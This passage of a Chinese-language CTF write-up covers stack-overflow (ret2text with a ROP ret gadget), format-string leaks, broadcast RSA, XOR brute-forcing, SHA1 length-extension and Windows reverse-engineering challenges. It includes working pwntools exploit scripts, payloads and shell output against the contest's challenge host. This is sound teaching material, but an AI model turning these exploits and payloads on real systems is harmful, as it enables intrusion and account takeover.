所以这么看来,我们需要构造的输入内容应该是:用于覆盖数组的12字节的字符+用于覆盖rbp的8字节的字符+用于覆盖原ret返回地址的目标地址(小端序)
但是同时,我们还需考虑:
x86-64 ABI要求栈在函数调用时16字节对齐
函数注释[rsp+4h]显示有4字节填充,说明编译器进行了对齐处理
如果不对齐,调用某些函数(特别是libc函数)可能会导致崩溃
具体原因我们可以对比一下攻击和正常运行时候的差异:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| 正常调用流程时的栈对齐:
正常调用“函数名”():
call “函数名”前: RSP % 16 = 0 (对齐)
执行call: RSP-8 → RSP % 16 = 8 (压入返回地址)
//我们上文解释过下x86-64框架内栈是向低地址方向生长的
//所以是rsp-8,即模拟从栈顶压入了本来应该返回的地址
进入“函数”入口:
push rbp: RSP-8 → RSP % 16 = 0 (重新对齐)
... 函数体 ...
pop rbp: RSP+8 → RSP % 16 = 8 (弹出了rbp所以rsp收缩8字节)
ret: RSP+8 → RSP % 16 = 0 (再弹出了ret的地址内容rsp再收缩8字节)
//可以发现正常流程下rsp开始和结束的时候都是16字节对齐的
ret2text攻击的栈对齐问题:
攻击跳转到到目标函数前的情况:
原函数ret指令执行前: RSP指向返回地址
假设此时: RSP % 16 = 8 (正常情况,因为刚刚弹出了rbp,rsp收缩了8字节)
执行ret到“目标函数”地址:
pop rip → RSP+8 → RSP % 16 = 0
但“目标函数”期望的栈布局:
[返回地址由call压入] -> RSP % 16 = 8
[于是到函数入口,开始执行] -> push rbp → RSP-8 → RSP % 16 = 0
而我们实际的情况:
[没有通过call执行,因而没有压入返回地址] → RSP % 16 = 0
[于是到函数入口,开始执行] -> push rbp → RSP-8 → RSP % 16 = 8
//可以发现如果企图直接利用ret跳转会导致栈布局不符合系统期望进而导致程序在要求栈对齐的操作中崩溃
|
所以我们目前要考虑的不仅仅是通过溢出覆盖掉原来的返回地址,而且要让执行返回地址后的rsp寄存器状态为:rsp%16 = 8,使得跳转到目标函数执行push rbp后rsp%16 = 0,以保持对齐
我真的麻了,当时没看懂栈对齐找不到错误看了十个小时都没发现问题在哪里,就是弄不到flag
我们再看看怎么实现这个栈对齐
一个简单的数学问题,我们现在希望将读取地址前的rsp%16 = 8通过一些操作变为rsp%16 = 0
以使得通过ret+push rbp实现rsp先 +8 再 -8,正好对齐
也就是说,我们需要先类似空弹出八个字节,并且再把接下来的八个字节又作为地址(我们可以通过一次溢出写入为目标函数地址)进行读取并跳转
而我们又知道ret指令本身就是把接下来八个字节作为地址读取:
ret指令本身不需要压入rbp,因为它不是一个函数。它只是一个指令,用于从栈中弹出返回地址并跳转到该地址。
那么有没有可能通过让原来的地址被覆盖为ret指令的地址来实现这些呢?
这里可以使用Return-Oriented Programming (ROP) 攻击技术中的Gadget实现:
Gadget是一小段已存在于程序内存中的指令序列,通常以ret指令结尾,用于构造ROP攻击。
目前不用管其他的东西,只需要知道这个东西的概念就好,也就是说我们可以去找一个不包含函数调用(这样就不会又把消耗的字节又补回来)的Gadget的地址来实现我们的目的
那么我们就用pwndbg的rop指令去找一个合适的Gadget的地址:
1
2
3
4
5
6
7
8
9
| └─$ gdb pwn
pwndbg> rop
Gadgets information
============================================================
……//太长省略掉
0x0040101a : ret
……//省略掉
Unique gadgets found: 76
|
可以看见有一个只有ret的Gadget : 0x0040101a : ret
我们就获得了所有需要的信息可以开始写脚本构建payload了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| from pwn import*
r = remote('47.108.129.134', XXXXX) #PS:所有端口号都是被我换成X了不是代表我用的时候写了X
offset = 0xC + 0x8 #数组大小加rbp大小
ret_gadget = 0x40101a #ret指令的地址
backdoor_addr = 0x4011B6 #backdoor函数的地址
payload = b'A'*offset + p64(ret_gadget) + p64(backdoor_addr)
#p64()是pwntools库中用于将整数打包成64位小端序字节串的函数
print(payload)
r.recvuntil(b"Welcome to SWJTU CTF! Tell me your name:")
r.sendline(payload)
r.interactive()
|
然后我们运行这个脚本:
1
2
3
4
5
6
7
| └─$ python solve.py
[+] Opening connection to 47.108.129.134 on port XXXXX: Done
b'AAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
soooooooo cool!
$
|
可以看见一个等待输入的提示符号,我们成功回弹了它的shell
接下来就是最后一步了:
1
2
3
4
5
| $ cat flag
flag{……}
$
[*] Interrupted
[*] Closed connection to 47.108.129.134 port XXXXX
|
成功获取flag!
4. FMT
如题,格式化字符串漏洞的利用
我们从附件里面获得了一个叫做pwn的文件,还是老规矩,丢进IDA分析一下看看代码
然后我们提取出两个主要的函数代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s2_1; // [rsp+28h] [rbp-88h]
char s1[16]; // [rsp+30h] [rbp-80h] BYREF
char s2[16]; // [rsp+40h] [rbp-70h] BYREF
char s[88]; // [rsp+50h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+A8h] [rbp-8h]
v8 = __readfsqword(0x28u);
init();
s2_1 = (char *)malloc(0x20u);
generate(s2, 5u);
generate(s2_1, 5u);
puts("Hey there, little one, what's your name?");
fgets(s, 80, stdin);
printf("Nice to meet you,");
printf(s);
puts("I buried two treasures on the stack.Can you find them?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2, 5u) )
lose();
puts("Yeah,another one?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2_1, 5u) )
lose();
win();
return 0;
}
unsigned __int64 __fastcall generate(char *s2, unsigned __int64 n5)
{
unsigned __int64 i; // [rsp+18h] [rbp-48h]
char abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
strcpy(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
for ( i = 0; i < n5; ++i )
s2[i] = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[(int)arc4random_uniform(52)];
s2[n5] = 0;
return v5 - __readfsqword(0x28u);
}
|
我们可以从代码的逻辑上看出来,它需要我们输出两个它随机生成的字符串作为treasures
而字符串是从大小写字母里面随机挑出来的,显然我们不可能通过静态分析就获取到即时生成的字符串
那么我们就先看看FMT是怎么利用的:
漏洞原理
当程序使用类似printf(user_input)这样的语句时,如果user_input是用户可控的,那么用户可以在其中插入格式化占位符(如%x、%p等)。这些占位符会让printf函数从栈上读取本应是参数的数据,从而导致信息泄露。更危险的是,%n系列占位符可以将已输出的字符数写入指定的地址,从而实现任意地址写。
利用目标
信息泄露:读取栈内存、libc地址、程序基址等,用于绕过ASLR。
任意地址读:通过%s和可控的地址参数,读取任意地址的内容。
任意地址写:通过%n系列占位符,向任意地址写入数据,常用于修改函数指针、返回地址等。
| 占位符 | 数据类型 | 功能描述 | 安全风险 |
|---|
%d | int | 十进制整数输出 | 信息泄露(栈数据) |
%u | unsigned int | 无符号十进制整数 | 信息泄露 |
%x / %X | unsigned int | 十六进制整数(小写/大写) | 信息泄露(常见于内存地址泄露) |
%s | char* | 输出字符串直到空字符 | 高危:可能读取任意内存地址(需配合地址控制) |
%p | void* | 以十六进制输出指针地址 | 直接泄露内存地址 |
%n | int* | 将目前已输出的字符数写入参数指向的整数 | 高危:任意地址写(可修改内存、劫持程序流) |
%c | char | 输出单个字符 | 信息泄露(栈数据) |
%f | double | 十进制浮点数 | 信息泄露 |
%e / %E | double | 科学计数法浮点数 | 信息泄露 |
%lld / %llx | long long | 64位整数/十六进制 | 信息泄露 |
%hn | short* | 将输出的字符数写入short类型(2字节) | 高危:用于精准内存写(常与%n组合利用) |
%hhn | char* | 将输出的字符数写入char类型(1字节) | 高危:单字节精准写入(绕过地址随机化) |
补充说明:
%n家族:%n、%hn、%hhn是格式化字符串漏洞利用的核心,用于实现任意地址写。- 长度修饰符:如
%08x(输出8位十六进制,不足补零)可控制输出格式,常用于精确构造内存布局。 - 直接参数访问:
%{index}$p(如%3$p)可直接访问指定位置的参数,无需依赖顺序偏移,常用于漏洞利用中精确定位。 - %k$“某占位符”: 是一种直接参数访问(Direct Parameter Access) 语法,它允许你显式指定要使用第几个参数,而不依赖于参数的自然顺序。
- 风险场景:当用户输入直接作为格式化字符串参数时(如
printf(user_input)),攻击者可通过注入占位符读取或改写内存。
所以我们的核心逻辑是利用printf(s);,构造s的内容实现任意内容的读取
所以我们现在就需要获取到它的s2、s2_1
那么我们就得利用checksec以及file先看看这个文件:
1
2
3
4
5
6
| └─$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 53 Symbols No 0 2pwn
└─$ file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=677c26efb083e81848b59ac92744db31cbd103cd, for GNU/Linux 3.2.0, not stripped
|
按照上一题介绍的内容,我们可以发现,这个文件的保护相对更好了一些,它的地址并不是固定的,其基地址会随机变化,同时开启了栈保护
但是还好,我们所需要的内容全部被存储在了main函数的栈内,而且各个变量相对偏移量其实是定死的
然后文件依然是x86-64架构,小端序
所以我们现在需要的就是去找到这几个内容的相对偏移量,所以我们再次关注一下IDA对它们的标注:
1
2
| char *s2_1; // [rsp+28h] [rbp-88h]
char s2[16]; // [rsp+40h] [rbp-70h] BYREF
|
由于前面看到这是一个x86-64架构
所以通过IDA可以看到三个需要的变量的相对偏移量:s2在rsp向上64字节(+28h),s2_1在rsp向上40字节(+28h)(h是hex,十六进制)
所以我们就可以结合上面所说的,使用%k$x读取一下目标内容(偏移是从rsp开始计算的)
但是我们得先看看偏移的规则:
| 架构 | 指针大小 | 调用约定 | %k$x(或者lx) 递增移动字节数(栈上) |
|---|
| x86 (32位) | 4字节 | 所有参数通过栈传递(cdecl, stdcall) | 4字节 |
| x86-64 (64位) | 8字节 | 前6个参数通过寄存器(rdi, rsi, rdx, rcx, r8, r9),之后通过栈 | 8字节(第7个参数起) |
| ARM (32位) | 4字节 | 前4个参数通过寄存器(r0-r3),之后通过栈 | 4字节(第5个参数起) |
| ARM64 (AArch64) | 8字节 | 前8个参数通过寄存器(x0-x7),之后通过栈 | 8字节(第9个参数起) |
| MIPS (32位) | 4字节 | 前4个参数通过寄存器($a0-$a3),之后通过栈 | 4字节(第5个参数起) |
| MIPS64 (64位) | 8字节 | 前8个参数通过寄存器($a0-$a7),之后通过栈 | 8字节(第9个参数起) |
我们需要注意s2_1是通过malloc函数分配堆空间的指针,该变量在栈上的内容是存储了对于的堆地址,所以我们需要使用 %s 读取
那么根据上面的偏移规则计算,就可以构建payload:%14$lx,%11$s(第8+6个,第5+6个)
当然,那个“,”是用于分隔的,可以不要
我们从代码上可以读到每一个字符串是有五个字符的,显然此时 %x 四个字节是无法完全显示的,因此我们使用了 %lx
接下来我们就可以运行本地文件测试一下看看:
1
2
3
4
5
6
| ┌──(AnCs-Lan㉿AnCs-Lan)-[/mnt/d/AnCs-Lan/Documents/CTF/FMT]
└─$ ./pwn
Hey there, little one, what's your name?
%14$lx,%11$s
Nice to meet you,XXXXXXXXXX,XXXXX
I buried two treasures on the stack.Can you find them?
|
现在我们可以看到它返回了两个字符串,一个是共十位的十六进制字符串,一个是五位的字符串
分别就是s2的十六进制编码,s2_1的内容
我们现在可以去把代表s2的编码解码一下,但是注意:由于该文件是小端序,所以我们要先转换为真正的顺序再解码
当然这两点cyberchef都可以做到,但是这并不是自动的,要记得找到那两个操作
然后我们继续把解码出来的s2输入,然后在下一次发问把s2_1输入
但是记住,这一串操作记得快一些,文件中是有计时函数的:
1
2
3
4
5
| XXXXX
Yeah,another one?
XXXXX
You got it!
$
|
经过本地测试,我们确定这一套方法有效,接下来就可以创建实例获取flag了:
1
2
3
4
5
6
7
8
9
10
11
| └─$ nc 47.108.129.134 XXXXX
Hey there, little one, what's your name?
%14$lx,%11$s
Nice to meet you,XXXXXXXXXX,XXXXX
I buried two treasures on the stack.Can you find them?
XXXXX
Yeah,another one?
XXXXX
You got it!
cat flag
flag{……}
|
顺利回弹了shell并获取了flag
成功获得flag!
crypto
1. 神秘的购物清单
题目已经明确说明了是凯撒密码了,所以直接上kali的ciphey就好:
1
2
3
4
5
6
7
| └─$ ciphey "L pljkw qhhg d ehwwhu judsklfv fdug,iodj lv fudcb_wkxuvgdb_ylyr_iliwb"
Possible plaintext: 'I might need a better graphics card,flag is ……' (y/N): y
╭───────────────────────────────────────────────────────────────────────────────────────────────╮
│ Formats used: │
│ caesar: │
│ Key: 3Plaintext: "I might need a better graphics card,flag is ……" │
╰───────────────────────────────────────────────────────────────────────────────────────────────╯
|
然后我们把明文给出的flag用固定格式包裹起来就好(flag被我遮起来了,原文不是这样)
成功获得flag!
2. Broadcast Mayday!
根据提示所给的Broadcast Attack,以及密文的形式可以看出这就是RSA广播攻击
然而由于我没能在kali找到恰当的工具处理这么长的密文数字,最终还是通过AI写一个脚本搞定:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| import gmpy2
from sympy.ntheory.modular import crt
# 1. 输入参数(复制自你的数据)
e = 3
# 三组模数(n1, n2, n3)
n_list = [
92115348414647145744942290482438108731351762209411954562581348940707868731036245627500433519371993679505350448706770557161219940579492266005829570662132118431769877704072034110899075752607538375198156669112004335086224921217459978021792019801412747035487994163136912896890937398834748390623372881042019936713,
107724705233055883081751721820024537967383348784274707683197256750962086833992211892130729806540411724416536258297016669042940442848435141693540234286837159113373010687953933673937825312480194072635181507552396292463829107673816320217815715976290351449432206814810274039955958399317467366451913130432389085003,
94872673633406396995297289835600763806262337074512934673113566808569442630985008762887860592268702511296878448137078036296381031226430144507819817141157483185804334623630822323025118948888645875600836830885573655432196307004742051095606839449546166172293018214114182272767946968456915879022656708269505066749
]
# 三组密文(c1, c2, c3)
c_list = [
37200871830656989509585109324571909904756015127793123197130883254106018377171885657835514800162401320146006985022958231927796179533942338054373296193632356913787597295032396539550096310631833715431578658537578254861531650216064367780472605097680343437199708398358791853856381695077,
37200871830656989509585109324571909904756015127793123197130883254106018377171885657835514800162401320146006985022958231927796179533942338054373296193632356913787597295032396539550096310631833715431578658537578254861531650216064367780472605097680343437199708398358791853856381695077,
37200871830656989509585109324571909904756015127793123197130883254106018377171885657835514800162401320146006985022958231927796179533942338054373296193632356913787597295032396539550096310631833715431578658537578254861531650216064367780472605097680343437199708398358791853856381695077
]
# 2. 转换为gmpy2大整数(避免Python原生int溢出)
n_big = [gmpy2.mpz(n) for n in n_list]
c_big = [gmpy2.mpz(c) for c in c_list]
# 3. 应用中国剩余定理(CRT)求解 m^e ≡ c_i mod n_i
try:
# CRT求解:返回 (m_e, N),其中 m_e = m^e,N = n1*n2*n3
m_e, N = crt(n_big, c_big)
print(f"[+] CRT求解成功!m^{e} = {m_e}")
print(f"[+] 模数乘积 N = {N}")
except Exception as e:
print(f"[-] CRT求解失败:{e}")
exit(1)
# 4. 开e次方根(这里e=3,开立方根)得到明文m
try:
# gmpy2.iroot:整数开方,返回 (根, 是否完全平方)
m, is_perfect = gmpy2.iroot(m_e, e)
if not is_perfect:
print("[-] 开方结果非整数,可能是明文有填充/参数错误!")
else:
print(f"[+] 开{e}次方根成功!明文m = {m}")
# 尝试将明文转换为ASCII字符串(CTF常见flag格式)
try:
m_bytes = int(m).to_bytes((int(m).bit_length() + 7) // 8, byteorder='big')
print(f"[+] 明文ASCII解码:{m_bytes.decode('utf-8', errors='ignore')}")
except:
print("[!] 明文无法直接解码为ASCII(可能是数值型明文)")
except Exception as e:
print(f"[-] 开方失败:{e}")
exit(1)
# 5. 验证结果(可选:检查 m^e mod n_i 是否等于 c_i)
print("\n[*] 验证结果(m^e mod n_i == c_i):")
for i in range(3):
m_e_mod_n = pow(int(m), e, int(n_big[i]))
if m_e_mod_n == int(c_big[i]):
print(f"[+] 第{i+1}组验证通过!")
else:
print(f"[-] 第{i+1}组验证失败!")
|
接下来就是运行脚本:
1
2
3
4
5
6
7
8
9
10
| └─$ python hastads_attack.py
[+] CRT求解成功!m^3 = ……
[+] 模数乘积 N = …… //这两段太长了,在WP上就省略了
[+] 开3次方根成功!明文m = 3338241147603276630854432102437338606194839497704385842395447194945821134751111976740829750653
[+] 明文ASCII解码:flag{……}
[*] 验证结果(m^e mod n_i == c_i):
[+] 第1组验证通过!
[+] 第2组验证通过!
[+] 第3组验证通过!
|
脚本顺利获得了flag
成功获得flag!
3. XOR Me If You Can
题目给出了一个实例,而密文暂时不知道,所以我们先连入实例看一眼:
1
2
3
4
5
6
7
8
9
10
| └─$ nc 47.108.129.134 XXXXX
============================================================
🔐 Crypto XOR Challenge
============================================================
💡 Hint: All flags start with 'flag{' and your key is a 4-digit number.
📜 Encrypted flag (hex): 5f5e5856424a564366415c524b574d6e0e540b57580a0a010154085344
============================================================
🔑 Enter your 4-digit key:
|
可以看到题目提示我们这个密文以**flag{**开头,希望我们找到恰当的密钥来异或解开密文
那么就没什么特别的了,直接AI写个脚本暴力出来:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # 加密的flag十六进制字符串
encrypted_hex = "5f5e5856424a564366415c524b574d6e0e540b57580a0a010154085344"
# 转换为字节串(十六进制转二进制)
encrypted_bytes = bytes.fromhex(encrypted_hex)
# 遍历所有4位数字密钥(0000 ~ 9999)
for key_num in range(10000):
# 格式化密钥为4位字符串(补前导零)
key_str = f"{key_num:04d}"
# 转换为字节串(ASCII编码)
key_bytes = key_str.encode("ascii")
# 逐字节异或解密(密钥循环使用)
decrypted = []
for i, byte in enumerate(encrypted_bytes):
key_byte = key_bytes[i % 4] # 密钥循环索引(0-3)
decrypted_byte = byte ^ key_byte # 异或解密
decrypted.append(decrypted_byte)
# 转换为字节串
decrypted_bytes = bytes(decrypted)
# 检查是否以flag{开头(核心匹配条件)
if decrypted_bytes.startswith(b"flag{"):
print(f"✅ 找到的key: {key_str}")
print(f"🔓 解密后的flag: {decrypted_bytes.decode('utf-8', errors='replace')}")
break
else:
print("❌ 未找到符合条件的key")
|
运行后得到结果:
1
2
| ✅ 找到的key: 9291
🔓 解密后的flag: flag{……}
|
到这里我们其实就拿到flag了,但是我们可以继续看看实例,验证一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| └─$ nc 47.108.129.134 XXXXX
============================================================
🔐 Crypto XOR Challenge
============================================================
💡 Hint: All flags start with 'flag{' and your key is a 4-digit number.
📜 Encrypted flag (hex): 5f5e5856424a564366415c524b574d6e0e540b57580a0a010154085344
============================================================
🔑 Enter your 4-digit key: 9291
9291
✅ Success! You found the correct key!
🎉 Flag: flag{……}
📊 Total attempts: 1
============================================================
💡 You can continue trying or press Enter to exit.
------------------------------------------------------------
🔑 Enter your 4-digit key:
👋 Goodbye!
|
经过验证,flag是一致的
成功获得flag!
4. 赛博厨师的黑暗料理
原则来说我应该一层层解释解码过程,但是我感觉自己过这题的经历有些戏剧性,决定还是写自己的经历
首先我们从附件拿到了一长串密文,而当时的我是完全不懂一些典型密码的特征的
同时呢,提示又说都是经典编码和替换
所以我就尝试直接丢给了kali的ciphey
然而它坚定地给出了一个错误的解码明文
无奈下我决定丢到CyberChef尝试解决
但是就像我说的,我当时看不懂编码特征,只会让它用魔法自动解码(现在一眼能看出来就是进行了base64解码再用16进制解码了一次)
结局就是,自动解码两层后就不能自动了
我还是有些不知所措的,决定碰运气地把解开一两道的密文再一次丢给ciphey:
1
2
3
4
5
6
7
8
9
10
11
12
13
| └─$ ciphey =0KM0yTqyEPpjS2KxIloiq2Ku9IM2STDbg3MukzM
Possible plaintext: 'flag{……}' (y/N): y
╭───────────────────────────────────────────────────╮
│ The plaintext is a Capture The Flag (CTF) Flag │
│ Formats used: │
│ caesar: │
│ Key: 13 │
│ atbash │
│ reverse │
│ atbash │
│ base64 │
│ utf8Plaintext: "flag{……}" │
╰───────────────────────────────────────────────────╯
|
当时看到这个结果,我人都有些惊讶了,但是不管怎么说答案就这么稀里糊涂出来了
那能怎么办,自然是收下它
所以当时看见有人说这题恶心我就感觉有些生草
成功获得flag!
5. Secure Token?
题目并没有给出具体密文,所以我们连入实例看看:
1
2
3
4
5
6
7
8
| └─$ nc 47.108.129.134 XXXX
=== Secure Token Authentication System ===
Guest token: beba69a330100888c30f6df81d725b669f486268
Token algorithm: SHA1(SECRET_KEY + username)
Guest username: 'guest'
Enter 'username:token' to login (raw bytes allowed):
|
可以看出来,题目希望我们通过SHA1()的计算方式,以及所给的用户名以及token,找出能够和admin的token实现哈希碰撞的输入
这其实就是一个哈希长度扩展攻击
但是我们几次连接能够注意到每次连接的token是不同的,但是单次的连接内是相同的
注意这一点后,要做的其实就是一个暴力了,我们通过一个脚本连入并获取token
然后开始长度扩展攻击枚举测试找到合适的输入并输入就好:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
| from pwn import *
import hashpumpy
# 题目提供的连接信息
HOST = '47.108.129.134'
PORT = XXXXX
def solve():
# 开启日志,方便查看交互过程
context.log_level = 'info'
try:
# 1. 建立连接
p = remote(HOST, PORT)
# 2. 接收并解析 Guest Token
p.recvuntil(b'Guest token: ')
original_token = p.recvline().strip().decode()
log.info(f"Original Token: {original_token}")
# 3. 准备攻击参数
original_message = b'guest'
append_message = b'admin' # 题目要求包含admin
# 等待服务器显示输入提示,确保缓冲区干净
# 提示语: "Enter 'username:token' to login (raw bytes allowed):"
p.recvuntil(b'raw bytes allowed):')
log.info("Starting Hash Length Extension Attack (Bruteforcing Key Length)...")
# 4. 爆破密钥长度 (Key Length)
# 通常 Key 长度在 1 到 64 字节之间,稍微放宽到 100 以防万一
for key_len in range(1, 101):
# 使用 hashpumpy 生成新的 hash 和 payload
# 参数: (原始hash, 原始数据, 追加数据, 猜测的key长度)
new_hash, new_message = hashpumpy.hashpump(
original_token,
original_message,
append_message,
key_len
)
# 构造服务器要求的格式: username:token
# new_message 是 bytes 类型 (包含 \x80 和填充位)
# new_hash 是 string 类型
payload = new_message + b':' + new_hash.encode()
# 发送尝试
# 注意:题目说同一个连接中失败会再次出现提示,所以我们不需要重新连接
p.sendline(payload)
# 接收响应
# 使用 recvrepeat 快速读取回显,避免 recvline 卡死
response = p.recvrepeat(0.2)
if b'flag' in response or b'success' in response.lower() or b'Welcome admin' in response:
log.success(f"Success! Key length was: {key_len}")
print("\n" + "="*30)
print(response.decode(errors='ignore'))
print("="*30 + "\n")
# 如果拿到 shell 或需要交互
p.interactive()
break
elif b'Enter' in response:
# 登录失败,服务器再次打印了提示符,继续下一次循环
pass
else:
# 某些情况下可能需要清理一下剩余的输出
pass
except Exception as e:
log.error(f"Error: {e}")
finally:
p.close()
if __name__ == '__main__':
solve()
|
显然,脚本依然是AI写的……
然后我们运行脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| └─$ python hash.py
[+] Opening connection to 47.108.129.134 on port XXXXX: Done
[*] Original Token: 37a717ef54b427906825decdfb756cdd1db39f47
[*] Starting Hash Length Extension Attack (Bruteforcing Key Length)...
[+] Success! Key length was: 16
==============================
guest^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@admin:aff1d7d72f4c3817202752cf96487e65599a01af
Welcome admin! Here's your flag:
flag{……}
=== Secure Token Authentication System ===
Guest token: 37a717ef54b427906825decdfb756cdd1db39f47
Token algorithm: SHA1(SECRET_KEY + username)
Guest username: 'guest'
Enter 'username:token' to login (raw bytes allowed):
==============================
[*] Switching to interactive mode
$
[*] Interrupted
[*] Closed connection to 47.108.129.134 port 34927
|
我们成功找到了正确的扩展长度并获得了flag(后面一次大概是系统没反应过来,这并不重要)
成功获得flag!
reverse
1. speed
需要强调的是,由于我也第一次做reverse题目,对于各类代码的逆向分析能力不足,基本是靠AI在翻译
在本题附件中,我们得到了一个speed.exe程序
我们尝试打开它,但是发现它在极短的时间内就消失了,所以我们是没办法直接看到内容的(理论上)
手机录像的邪修我并没有尝试可行性
所以我们把这个程序用IDA反编译一下看看,首先看看main函数的内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HWND Window; // eax
HWND Window_1; // esi
WNDCLASSA WndClass; // [esp+0h] [ebp-58h] BYREF
struct tagMSG Msg; // [esp+28h] [ebp-30h] BYREF
CHAR ClassName[16]; // [esp+44h] [ebp-14h] BYREF
WndClass.lpszClassName = ClassName;
strcpy(ClassName, "FlashFlagClass");
WndClass.style = 0;
*(_QWORD *)&WndClass.cbClsExtra = 0;
*(_QWORD *)&WndClass.hIcon = 0;
WndClass.lpszMenuName = 0;
WndClass.lpfnWndProc = sub_4011C0;
WndClass.hInstance = hInstance;
WndClass.hbrBackground = (HBRUSH)6;
RegisterClassA(&WndClass);
Window = CreateWindowExA(
WS_OVERLAPPED,
ClassName,
"Flash Flag",
WS_TABSTOP | WS_GROUP | WS_THICKFRAME | WS_SYSMENU | WS_DLGFRAME | WS_BORDER,
0x80000000,
0x80000000,
600,
100,
0,
0,
hInstance,
0);
Window_1 = Window;
if ( Window )
{
ShowWindow(Window, nShowCmd);
UpdateWindow(Window_1);
SetTimer(Window_1, 1u, 1u, TimerFunc);
while ( GetMessageA(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
}
return 0;
}
|
经过AI分析,我们可以注意到WndClass.lpfnWndProc = sub_4011C0;
在Windows GUI程序中,每个窗口都有一个窗口过程(Window Procedure)来处理消息。
而这个函数就是把窗口过程设置为了sub_4011C0
所以我们现在来看看这个函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
| LRESULT __stdcall sub_4011C0(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
size_t n0x7FFFFFFF; // esi
unsigned int n15; // edx
CHAR *v7; // edi
unsigned int n0x22; // eax
CHAR v9; // cl
LPCSTR *v10; // eax
unsigned int n0x7FFFFFFF_1; // ecx
unsigned int v12; // edi
CHAR *v13; // esi
CHAR *n0x7FFFFFFF_3; // ecx
CHAR *v15; // ecx
LPCSTR *v16; // eax
CHAR *v17; // edx
HDC hdc; // [esp+10h] [ebp-80h]
int Size; // [esp+14h] [ebp-7Ch]
unsigned int n0x22_1; // [esp+18h] [ebp-78h]
unsigned int n15_1; // [esp+1Ch] [ebp-74h]
CHAR *p_n0x7FFFFFFF; // [esp+20h] [ebp-70h] BYREF
CHAR v23; // [esp+27h] [ebp-69h]
struct tagPAINTSTRUCT Paint; // [esp+28h] [ebp-68h] BYREF
LPCSTR lpString[4]; // [esp+68h] [ebp-28h] BYREF
int c; // [esp+78h] [ebp-18h]
unsigned int n15_2; // [esp+7Ch] [ebp-14h]
int v28; // [esp+8Ch] [ebp-4h]
if ( Msg == 2 )
{
PostQuitMessage(0);
}
else
{
if ( Msg != 15 )
return DefWindowProcA(hWnd, Msg, wParam, lParam);
hdc = BeginPaint(hWnd, &Paint);
n0x7FFFFFFF = 0;
n15 = 15;
*(_OWORD *)lpString = 0;
Size = 0;
c = 0;
n15_1 = 15;
n15_2 = 15;
LOBYTE(lpString[0]) = 0;
v7 = (CHAR *)lpString[0];
n0x22 = 0;
v28 = 0;
n0x22_1 = 0;
while ( 1 )
{
v9 = byte_40F1B4[n0x22] ^ 0x55;
v23 = v9;
if ( n0x7FFFFFFF >= n15 )
{
if ( n0x7FFFFFFF == 0x7FFFFFFF )
sub_401430();
n0x7FFFFFFF_1 = (n0x7FFFFFFF + 1) | 0xF;
if ( n0x7FFFFFFF_1 <= 0x7FFFFFFF )
{
v12 = n15 >> 1;
if ( n15 <= 0x7FFFFFFF - (n15 >> 1) )
{
if ( n0x7FFFFFFF_1 < n15 + v12 )
n0x7FFFFFFF_1 = n15 + v12;
}
else
{
n0x7FFFFFFF_1 = 0x7FFFFFFF;
}
}
else
{
n0x7FFFFFFF_1 = 0x7FFFFFFF;
}
p_n0x7FFFFFFF = (CHAR *)n0x7FFFFFFF_1;
